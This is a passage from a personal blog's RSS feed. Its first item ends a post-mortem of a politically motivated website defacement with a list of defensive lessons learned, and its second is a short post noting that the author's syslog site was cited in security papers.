<p>After looking at the logs a little more, it became evident that they were linking from the site <a href="http://turk-h.org/">http://turk-h.org</a>.  That site is a defacement content tracking site.  The few sites that they were able to register show that the hack was &#8220;political&#8221;.  The group that is responsible for the attack has a site here: <a href="http://www.bilisimsecurity.com/">WwW.BilisimSecurity.Com</a>.  Why is the middle &#8220;w&#8221; always lowercase on hacker sites??? </p>
<p>So, here are the lessons I&#8217;ve learned (so far):</p>
<ol>
<li>ALWAYS ALWAYS ALWAYS keep your software up to date</li>
<li>A correllary to #1 above &#8211; a consistent approach to verifying that all software is up to date is desperately needed.</li>
<li>Open source web apps really really really need to stop adding a &#8220;powered by&#8221; line at the bottom of websites that use their software.  This makes it incredibly easy and efficient to find sites to hack.</li>
<li>Keeping your logs is really important.  They can in really handy today.</li>
<li>Using phpsuexec would have drastically limited the impact of the attack.</li>
<li>An automated method to determine if something has changed or been added in a directory tree would have provided me with almost 2 weeks of notice to resolve the issue.</li>
<li>The hacker tools are quite sophisticated.  I have retained copies of their tools.  I will not be making them available as I don&#8217;t want to spread them any more than they already are.</li>
<li>A tool that parses the apache logs for filesystem components (outside of the public_html tree) would have provided a notice that something has happened, though it would really have been too late to stop the attack.</li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://www.jerry-bell.com/hacked/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Proud moments</title>
		<link>http://www.jerry-bell.com/proud-moments/</link>
		<comments>http://www.jerry-bell.com/proud-moments/#comments</comments>
		<pubDate>Tue, 07 Nov 2006 02:53:34 +0000</pubDate>
		<dc:creator>jerry</dc:creator>
				<category><![CDATA[web site]]></category>

		<guid isPermaLink="false">http://www.jerry-bell.com/archives/6</guid>
		<description><![CDATA[I have to take a minute to brag about something.  I&#8217;ve run another site &#8211; http://www.syslog.org for several years now.  Recently, it&#8217;s been cited as a source for several high profile papers, like this one: http://csrc.nist.gov/publications/nistpubs/800-92/SP800-92.pdf and this one: http://icsa.cs.up.ac.za/issa/2004/Proceedings/Research/066.pdf On a humorous note, there is a site that claims to donate money to open [...]]]></description>
			<content:encoded><![CDATA[<p>I have to take a minute to brag about something.  I&#8217;ve run another site &#8211; <a href="http://www.syslog.org/">http://www.syslog.org</a> for several years now.  Recently, it&#8217;s been cited as a source for several high profile papers, like this one:</p>
<p><a href="http://csrc.nist.gov/publications/nistpubs/800-92/SP800-92.pdf">http://csrc.nist.gov/publications/nistpubs/800-92/SP800-92.pdf</a></p>
<p>and this one:</p>
<p><a href="http://icsa.cs.up.ac.za/issa/2004/Proceedings/Research/066.pdf">http://icsa.cs.up.ac.za/issa/2004/Proceedings/Research/066.pdf</a></p>
<p>On a humorous note, there is a site that claims to donate money to open source projects, including syslog:</p>
<p><a href="http://www.nayika.com/partners/partners_open.html">http://www.nayika.com/partners/partners_open.html</a></p>
<p>You may have guessed that no money has changed hands, and you would be right.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jerry-bell.com/proud-moments/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
